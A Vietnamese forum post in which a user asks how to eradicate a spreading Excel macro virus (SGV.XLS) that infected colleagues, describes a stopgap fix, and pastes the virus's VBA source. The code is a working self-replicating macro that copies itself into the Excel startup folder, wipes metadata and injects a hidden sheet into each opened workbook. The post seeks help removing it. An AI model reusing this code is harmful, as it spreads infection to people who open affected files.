Em chào các Anh/Chị diễn đàn GPE
Em có vướng vào file SGV.XLS chứa "marco" lây lan, mà nhiều đồng nghiệp của em cũng dính.
Em không biết truy tìm nguồn cơn ở đâu, hay có cách nào để diệt nó triệt để được.
Hiện em đang chỉ diệt được tạm thời là sẽ xóa vòng lặp ở Sub check_file_code e để phía dưới. xóa file SGV.XLS ở thư mục C:\User\AppData\Roaming\Microsoft\Excel\XLSTART. Nếu có vô tình mở lại file bị dính marcro gốc thì lại mắc phải marco này. Do đó em đang phải để file SGV.XLS _đã xóa vòng lặp kia đi tại thư mục trên để không bị lỗi nữa.
Anh/Chị cho em xin giải pháp để có thể giải quyết vấn đề này triệt để hơn giúp em với.
Do file bị lỗi nên em không dám up lên diễn đàn.
Em cảm ơn Anh/Chị đã chịu khó đọc bài viết hơi lủng củng của em ạ.
Em có vướng vào file SGV.XLS chứa "marco" lây lan, mà nhiều đồng nghiệp của em cũng dính.
Em không biết truy tìm nguồn cơn ở đâu, hay có cách nào để diệt nó triệt để được.
Hiện em đang chỉ diệt được tạm thời là sẽ xóa vòng lặp ở Sub check_file_code e để phía dưới. xóa file SGV.XLS ở thư mục C:\User\AppData\Roaming\Microsoft\Excel\XLSTART. Nếu có vô tình mở lại file bị dính marcro gốc thì lại mắc phải marco này. Do đó em đang phải để file SGV.XLS _đã xóa vòng lặp kia đi tại thư mục trên để không bị lỗi nữa.
Anh/Chị cho em xin giải pháp để có thể giải quyết vấn đề này triệt để hơn giúp em với.
Do file bị lỗi nên em không dám up lên diễn đàn.
Em cảm ơn Anh/Chị đã chịu khó đọc bài viết hơi lủng củng của em ạ.
Mã:
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "SGV.XLS")
If m$ = "SGV.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
N4$ = ActiveWorkbook.Name
Sheets("SGV").visible = True
Sheets("SGV").Select
Sheets("SGV").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(N4$).Sheets("SGV").visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "SGV.XLS!check_files"
Case 1
Application.ScreenUpdating = False
N4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(N4$).Sheets(1).Name
If s$ <> "SGV" Then
Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(N4$).Sheets(1)
Workbooks(N4$).Sheets("SGV").visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "SGV.XLS!check_files"
Case Else
End Select
End Sub